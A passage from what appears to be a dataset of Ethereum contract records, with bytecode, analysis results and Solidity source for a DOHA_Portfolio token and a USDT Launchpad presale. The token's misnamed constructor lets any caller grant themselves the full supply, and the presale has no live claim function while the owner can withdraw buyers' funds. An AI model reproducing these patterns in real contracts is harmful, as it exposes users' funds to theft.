ffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220cc37b393e6050a5584fc7f1b87ae090c2adcbb05716c0d4e726248beb637064964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,486
0xe3866acd17205eed317dc0fc05d9e3dc692f5089
pragma solidity ^0.4.21 ; contract DOHA_Portfolio_I_883 { mapping (address => uint256) public balanceOf; string public name = " DOHA_Portfolio_I_883 " ; string public symbol = " DOHA883 " ; uint8 public decimals = 18 ; uint256 public totalSupply = 731661609544533000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_1_____QNB_20250515 > // < hU1zJfAXIWjwRzQjUIScl4o8bq7axH6HuBDtiGTA019b7oj61f5kl4696PW83S71 > // < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000016274632.348746100000000000 ] > // < 0x00000000000000000000000000000000000000000000000000000000037A0ED4 > // < DOHA_Portfolio_I_metadata_line_2_____Qatar_Islamic_Bank_20250515 > // < 17aFYFQ9CA4SOK0902m34ul7ucv4VLQA7cAR72zAxTdG265k7AnJ5mep6RUfDuBJ > // < u =="0.000000000000000001" : ] 000000016274632.348746100000000000 ; 000000035339142.975448700000000000 ] > // < 0x000000000000000000000000000000000000000000000000037A0ED456471373 > // < DOHA_Portfolio_I_metadata_line_3_____Comm_Bank_of_Qatar_20250515 > // < V83Tsv22iNFkOrBA3D5U7jIA6cJKFb2e1qMTHct8247Wh5x6Y2t3wL8CjA5fQQdR > // < u =="0.000000000000000001" : ] 000000035339142.975448700000000000 ; 000000052957892.175272000000000000 ] > // < 0x00000000000000000000000000000000000000000000000564713732B64E852B > // < DOHA_Portfolio_I_metadata_line_4_____Doha_Bank_20250515 > // < qUju69Sx8gMl6OkjbtMkUItcls3LKlv685Dfa6ulBiQciq6U16poLhbAC3gZ611Y > // < u =="0.000000000000000001" : ] 000000052957892.175272000000000000 ; 000000071717351.549108500000000000 ] > // < 0x00000000000000000000000000000000000000000000002B64E852B4E34C5460 > // < DOHA_Portfolio_I_metadata_line_5_____Ahli_Bank_20250515 > // < C7KoV79oZ8H6SAQEo25AofOM0UL4Wn90au54EN7gqZ49lB6Zm1ry6a6c2AE4ZONG > // < u =="0.000000000000000001" : ] 000000071717351.549108500000000000 ; 000000090903570.386118500000000000 ] > // < 0x00000000000000000000000000000000000000000000004E34C54604ECBCF485 > // < DOHA_Portfolio_I_metadata_line_6_____Intl_Islamic_Bank_20250515 > // < 7rN94JK4sOb7NGC86JU49Xuh7En2gss8bD2J45V1KsuZeEf4iU1cCCbsWgv3GhmH > // < u =="0.000000000000000001" : ] 000000090903570.386118500000000000 ; 000000107832399.217995000000000000 ] > // < 0x00000000000000000000000000000000000000000000004ECBCF48550ED00309 > // < DOHA_Portfolio_I_metadata_line_7_____Rayan_20250515 > // < Jgp0QI6C7OKSGJ8Z6N1fmQ2Z9Vse0rP274ezlcf0Aw4r9xPLxdBsWlq50Ev9p5hl > // < u =="0.000000000000000001" : ] 000000107832399.217995000000000000 ; 000000127559187.842301000000000000 ] > // < 0x000000000000000000000000000000000000000000000050ED00309816B8E20D > // < DOHA_Portfolio_I_metadata_line_8_____Qatar_Insurance_20250515 > // < dc0Y668z2toyy6N8eT2QhKGmjh3P9YALc88654xY56D1mTvAY1y6SDKxZpbb3CNi > // < u =="0.000000000000000001" : ] 000000127559187.842301000000000000 ; 000000144536843.696412000000000000 ] > // < 0x0000000000000000000000000000000000000000000000816B8E20DBFD699807 > // < DOHA_Portfolio_I_metadata_line_9_____Doha_Insurance_20250515 > // < NV9L14h25w61rSg9X9zQDFwy3e7gOu6msP2r2949VmDhJ61fzo9ggNu70wgodwgJ > // < u =="0.000000000000000001" : ] 000000144536843.696412000000000000 ; 000000161032169.770494000000000000 ] > // < 0x0000000000000000000000000000000000000000000000BFD699807C00CC925C > // < DOHA_Portfolio_I_metadata_line_10_____General_Insurance_20250515 > // < b1qf4nM067k5B0WSoo7wshTv2h1grIOR8ra5A8xKb8ba8Ftoo4uO5zO5bcG5BH3Z > // < u =="0.000000000000000001" : ] 000000161032169.770494000000000000 ; 000000179876905.111256000000000000 ] > // < 0x0000000000000000000000000000000000000000000000C00CC925CC8B19E052 > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_11_____Islamic_Insurance_20250515 > // < 9qcbUt0742le3FI3SDqDZc281rNM6nRV9Tgn6uOyNz9mP1sOm7U6mdHY1s42dUSd > // < u =="0.000000000000000001" : ] 000000179876905.111256000000000000 ; 000000195844859.003573000000000000 ] > // < 0x0000000000000000000000000000000000000000000000C8B19E052C95A3ECBC > // < DOHA_Portfolio_I_metadata_line_12_____Ind_Manf_Co_20250515 > // < 3H6E0f64Nrl2wS84a41EU74v4M6e50Mm8O3KhW9zKMWtQVfVXlbaH0ZD02uiY3qj > // < u =="0.000000000000000001" : ] 000000195844859.003573000000000000 ; 000000216103494.501970000000000000 ] > // < 0x0000000000000000000000000000000000000000000000C95A3ECBCCA5EAC970 > // < DOHA_Portfolio_I_metadata_line_13_____National_Cement_Co_20250515 > // < 11T8O4S7kL062mgfNaHVj1Jul8Aep7d6pgFGRfoH7H8zq2MBzk503lJ7JTpp4pgT > // < u =="0.000000000000000001" : ] 000000216103494.501970000000000000 ; 000000231573394.642144000000000000 ] > // < 0x0000000000000000000000000000000000000000000000CA5EAC970CFBA12F64 > // < DOHA_Portfolio_I_metadata_line_14_____Zad_Holding_Company_20250515 > // < uAFlkA36REFbTmSIiAdy3506KdOr51okG3tGVZjDm0r8PawduO933AFNYY1c9wn2 > // < u =="0.000000000000000001" : ] 000000231573394.642144000000000000 ; 000000248503661.237730000000000000 ] > // < 0x0000000000000000000000000000000000000000000000CFBA12F64D359422C8 > // < DOHA_Portfolio_I_metadata_line_15_____Industries_Qatar_20250515 > // < 6j92OsXVYJ1l6U92UvJgrT5085Km60aNuDmNrGUo2wmJ2fGzzodsd0R1lKLYd95o > // < u =="0.000000000000000001" : ] 000000248503661.237730000000000000 ; 000000269472454.885304000000000000 ] > // < 0x000000000000000000000000000000000000000000000D359422C81191394DA5 > // < DOHA_Portfolio_I_metadata_line_16_____United_Dev_Company_20250515 > // < K8Uz43p03ZRnsM1I1El5l3FOWnAU2UL50ofgWD9Evb1cen5H0cUmLc39dX9rj026 > // < u =="0.000000000000000001" : ] 000000269472454.885304000000000000 ; 000000287571177.938346000000000000 ] > // < 0x000000000000000000000000000000000000000000001191394DA5119E78BA38 > // < DOHA_Portfolio_I_metadata_line_17_____Qatar_German_Co_Med_20250515 > // < lzt1mh1llK1Q9o9vqKWGwq40eMl57QjE92hs9V143a0GSW1E05C48hBvXeShZe6J > // < u =="0.000000000000000001" : ] 000000287571177.938346000000000000 ; 000000308285565.409239000000000000 ] > // < 0x00000000000000000000000000000000000000000000119E78BA3811A5A651C7 > // < DOHA_Portfolio_I_metadata_line_18_____The_Investors_20250515 > // < tP1j5nLD1kSaQT5q80bu54TH699s4Jlr9oVDz6Y283K7MoY9P3q048QfAUBot3sJ > // < u =="0.000000000000000001" : ] 000000308285565.409239000000000000 ; 000000327290026.380911000000000000 ] > // < 0x0000000000000000000000000000000000000000000011A5A651C711A7337AA6 > // < DOHA_Portfolio_I_metadata_line_19_____Ooredoo_20250515 > // < S5toJup3HvP9lOX9U8vDvbI52NVjMFj8ZBaZ0fb4v48CxvsikOWQ7gFR8jozIFU1 > // < u =="0.000000000000000001" : ] 000000327290026.380911000000000000 ; 000000345131694.306823000000000000 ] > // < 0x0000000000000000000000000000000000000000000011A7337AA611A80D764A > // < DOHA_Portfolio_I_metadata_line_20_____Electricity_Water_20250515 > // < 16tFUCxP9z56o56qEP4d9DpOo12O5v43dOuDdZOIF9y2DV2wz12EYSRRSac0yD4u > // < u =="0.000000000000000001" : ] 000000345131694.306823000000000000 ; 000000362497439.836218000000000000 ] > // < 0x0000000000000000000000000000000000000000000011A80D764A11A9E0DEC1 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_21_____Salam_International_20250515 > // < Ni1yj387aR192u9HPN00pvqzg4enG5LZ0oNst39961slyNHKscdK470agBRt3iCM > // < u =="0.000000000000000001" : ] 000000362497439.836218000000000000 ; 000000382904305.195081000000000000 ] > // < 0x0000000000000000000000000000000000000000000011A9E0DEC11337C233DB > // < DOHA_Portfolio_I_metadata_line_22_____National_Leasing_20250515 > // < Bv985pP18xveBi1B932C9wtp2WoN0gNU5nM7x84lXw956S7X7U3t9BLCtjWzyExF > // < u =="0.000000000000000001" : ] 000000382904305.195081000000000000 ; 000000400194896.475562000000000000 ] > // < 0x000000000000000000000000000000000000000000001337C233DB16FC133A49 > // < DOHA_Portfolio_I_metadata_line_23_____Qatar_Navigation_20250515 > // < qR6ygvkxcKIMgf1nv2OjY5443PwX398dMscw07K17J9df3j7D7EAnTV52b7af8P4 > // < u =="0.000000000000000001" : ] 000000400194896.475562000000000000 ; 000000421541317.440349000000000000 ] > // < 0x0000000000000000000000000000000000000000000016FC133A4916FCE8C776 > // < DOHA_Portfolio_I_metadata_line_24_____Medicare_20250515 > // < n2wn10DZWnFK7x51f67xoOH08Q9oP7jChMEeM6LUa7ScseH8zv9xFuZAQ5Z5H3p8 > // < u =="0.000000000000000001" : ] 000000421541317.440349000000000000 ; 000000439914097.661349000000000000 ] > // < 0x0000000000000000000000000000000000000000000016FCE8C77616FE4B3578 > // < DOHA_Portfolio_I_metadata_line_25_____Qatar_Fuel_20250515 > // < 6IGcy1yy61hb6zPZa15c18ZM7eYHFe4xR9ZKoL3779fl3qHmF3n113kPgI5DCf7X > // < u =="0.000000000000000001" : ] 000000439914097.661349000000000000 ; 000000458367335.013190000000000000 ] > // < 0x0000000000000000000000000000000000000000000016FE4B357817094B7C8A > // < DOHA_Portfolio_I_metadata_line_26_____Widam_20250515 > // < 119X5jFvluZlpeZbBncK0LlpeL5gzbVpU1W7Y0LS8IH91FrG91vQ8ylH1Yb8oD8K > // < u =="0.000000000000000001" : ] 000000458367335.013190000000000000 ; 000000478441596.983324000000000000 ] > // < 0x0000000000000000000000000000000000000000000017094B7C8A170A9FCB93 > // < DOHA_Portfolio_I_metadata_line_27_____Gulf_Warehousing_Co_20250515 > // < QS08Q002ksrpV138t16vm9PPqjP685d2uV6qI37ubxd9C04ZCU59pVJ1724VWRd0 > // < u =="0.000000000000000001" : ] 000000478441596.983324000000000000 ; 000000497169845.837768000000000000 ] > // < 0x00000000000000000000000000000000000000000000170A9FCB931710216274 > // < DOHA_Portfolio_I_metadata_line_28_____Nakilat_20250515 > // < Zd7z6d719i7nP8Ojfi5Hv9MG4yNDDuT5J92k2oCR6ApxRj5gX9vj0X686KLG91uG > // < u =="0.000000000000000001" : ] 000000497169845.837768000000000000 ; 000000518690628.088998000000000000 ] > // < 0x0000000000000000000000000000000000000000000017102162741710DAFC71 > // < DOHA_Portfolio_I_metadata_line_29_____Dlala_20250515 > // < JAjRd29ZC9NJdJs2BAybBuwjK9S5Sl8R84ZLN7TG5T00GAPc70iu52Ch9f4FN1gc > // < u =="0.000000000000000001" : ] 000000518690628.088998000000000000 ; 000000537450199.090268000000000000 ] > // < 0x000000000000000000000000000000000000000000001710DAFC71171F5B98B4 > // < DOHA_Portfolio_I_metadata_line_30_____Barwa_20250515 > // < 3rm72307dFqy6I9rsdy9v2D64Jsc2YN8NY1kiEqw1aqSCW9AXUx8R47iaxK2y4pP > // < u =="0.000000000000000001" : ] 000000537450199.090268000000000000 ; 000000556120702.498486000000000000 ] > // < 0x00000000000000000000000000000000000000000000171F5B98B41B22EC3D9C > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_31_____Mannai_Corp_20250515 > // < R87R6f1o3Ao0dMab8CRn1x667z1y32Al3735wQIW8ob6GRn8ZwgTt436F91hkkrS > // < u =="0.000000000000000001" : ] 000000556120702.498486000000000000 ; 000000571250335.778555000000000000 ] > // < 0x000000000000000000000000000000000000000000001B22EC3D9C1E0D333C03 > // < DOHA_Portfolio_I_metadata_line_32_____Aamal_20250515 > // < 20Q0BmypqM20e2D7tAvz0me07Dd088s5Lhrt45dvA5miuAkV7ZZZF4ER03Q6Yg6I > // < u =="0.000000000000000001" : ] 000000571250335.778555000000000000 ; 000000589336693.020642000000000000 ] > // < 0x000000000000000000000000000000000000000000001E0D333C031E29356C3E > // < DOHA_Portfolio_I_metadata_line_33_____Ezdan_Holding_20250515 > // < 6mx3P53haYX3py1lC65ju35E6TuSEj96O2zsyx368CEU3j8tkRjR976WA0w752TI > // < u =="0.000000000000000001" : ] 000000589336693.020642000000000000 ; 000000609982290.002993000000000000 ] > // < 0x000000000000000000000000000000000000000000001E29356C3E1E2A15F705 > // < DOHA_Portfolio_I_metadata_line_34_____Islamic_Holding_20250515 > // < HOv8F7Kx6y6s42u5L2b3RlXf1bfDe8IW2Z36aH4C17kpvYr1o3C24em55214cE14 > // < u =="0.000000000000000001" : ] 000000609982290.002993000000000000 ; 000000629463147.327816000000000000 ] > // < 0x000000000000000000000000000000000000000000001E2A15F7051E37D2E629 > // < DOHA_Portfolio_I_metadata_line_35_____Gulf_International_20250515 > // < 6eY3I7FrI7496yR67IiI1c4S4JnXj0CE5KXVwb2DQUy7vbB3m9lw9E05nt3oI4K6 > // < u =="0.000000000000000001" : ] 000000629463147.327816000000000000 ; 000000645101166.345170000000000000 ] > // < 0x000000000000000000000000000000000000000000001E37D2E62921F0EF1D76 > // < DOHA_Portfolio_I_metadata_line_36_____Mesaieed_20250515 > // < ryl7cMN94yiZD5RONLr9cwcI4ptcugDl9q3LLwAkqL5Cv2NonDWc20e3xyRGuwRb > // < u =="0.000000000000000001" : ] 000000645101166.345170000000000000 ; 000000663023778.091517000000000000 ] > // < 0x0000000000000000000000000000000000000000000021F0EF1D7623C829D434 > // < DOHA_Portfolio_I_metadata_line_37_____Investment_Holding_20250515 > // < 88IJsHJ6RyK04JocbkkS24CvpC8Nyi9h7ZMAmR76dDPEhQA7Gr8K25pei6p19YaD > // < u =="0.000000000000000001" : ] 000000663023778.091517000000000000 ; 000000679618430.217144000000000000 ] > // < 0x0000000000000000000000000000000000000000000023C829D43423C95BAE77 > // < DOHA_Portfolio_I_metadata_line_38_____Vodafone_Qatar_20250515 > // < fISYneH515HPPH71N3i7g3XGP47758P8Tot55WA3MFEiwS1E71n84ZPfR3A3X954 > // < u =="0.000000000000000001" : ] 000000679618430.217144000000000000 ; 000000696650731.029694000000000000 ] > // < 0x0000000000000000000000000000000000000000000023C95BAE7724A65522E8 > // < DOHA_Portfolio_I_metadata_line_39_____Al_Meera_20250515 > // < MC478Yn9L57xXd7Rl7AWtji1z9PuaiFju9o6hpl513N5x9SoTAiG8ZEaU0whdHG5 > // < u =="0.000000000000000001" : ] 000000696650731.029694000000000000 ; 000000713763718.708142000000000000 ] > // < 0x0000000000000000000000000000000000000000000024A65522E824C0198909 > // < DOHA_Portfolio_I_metadata_line_40_____Mazaya_Qatar_20250515 > // < qU6WF5UZ2tC2JO47760v32G7qX8sJjV3xB6TYZ00yn11VfJ317iK4MM1tRzOZR8f > // < u =="0.000000000000000001" : ] 000000713763718.708142000000000000 ; 000000731661609.544533000000000000 ] > // < 0x0000000000000000000000000000000000000000000024C019890924C8475D18 > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820e13135848fb53c69d205bb12c8103cfc0a56300eae9c9dac057ed50750900c0f0029
{"success": true, "error": null, "results": {}}
5,487
0x4c7b4bcbe296c3517d8995002d16738f2d90934d
/** *Submitted for verification at Etherscan.io on 2021-03-31 */ /** *Submitted for verification at Etherscan.io on 2021-03-29 */ /** *Submitted for verification at Etherscan.io on 2021-03-23 */ /** *Submitted for verification at Etherscan.io on 2021-03-12 */ /** *Submitted for verification at Etherscan.io on 2021-01-13 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // import ierc20 & safemath & non-standard interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface INonStandardERC20 { function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// function transferFrom( address src, address dst, uint256 amount ) external; function approve(address spender, uint256 amount) external returns (bool success); function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); } contract Launchpad is Ownable { using SafeMath for uint256; event ClaimableAmount(address _user, uint256 _claimableAmount); // address public owner; uint256 public rate; uint256 public allowedUserBalance; bool public presaleOver; IERC20 public usdt; mapping(address => uint256) public claimable; uint256 public hardcap; constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) public { rate = _rate; usdt = IERC20(_usdt); presaleOver = true; // owner = msg.sender; hardcap = _hardcap; allowedUserBalance = _allowedUserBalance; } modifier isPresaleOver() { require(presaleOver == true, "The presale is not over"); _; } function changeHardCap(uint256 _hardcap) onlyOwner public { hardcap = _hardcap; } function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public { allowedUserBalance = _allowedUserBalance; } function endPresale() external onlyOwner returns (bool) { presaleOver = true; return presaleOver; } function startPresale() external onlyOwner returns (bool) { presaleOver = false; return presaleOver; } function buyTokenWithUSDT(uint256 _amount) external { // user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping require(presaleOver == false, "presale is over you cannot buy now"); uint256 tokensPurchased = _amount.mul(rate); uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased); require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached"); // for USDT require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance"); // usdt.transferFrom(msg.sender, address(this), _amount); doTransferIn(address(usdt), msg.sender, _amount); claimable[msg.sender] = userUpdatedBalance; emit ClaimableAmount(msg.sender, tokensPurchased); } // function claim() external isPresaleOver { // // it checks for user msg.sender claimable amount and transfer them to msg.sender // require(claimable[msg.sender] > 0, "NO tokens left to be claim"); // usdc.transfer(msg.sender, claimable[msg.sender]); // claimable[msg.sender] = 0; // } function doTransferIn( address tokenAddress, address from, uint256 amount ) internal returns (uint256) { INonStandardERC20 _token = INonStandardERC20(tokenAddress); uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this)); _token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set success = returndata of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was actually transferred uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract } function doTransferOut( address tokenAddress, address to, uint256 amount ) internal { INonStandardERC20 _token = INonStandardERC20(tokenAddress); _token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set success = returndata of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver { // claimable[owner] = claimable[owner].sub(_value); // usdt.transfer(_msgSender(), _value); doTransferOut(address(usdt), _msgSender(), _value); } }
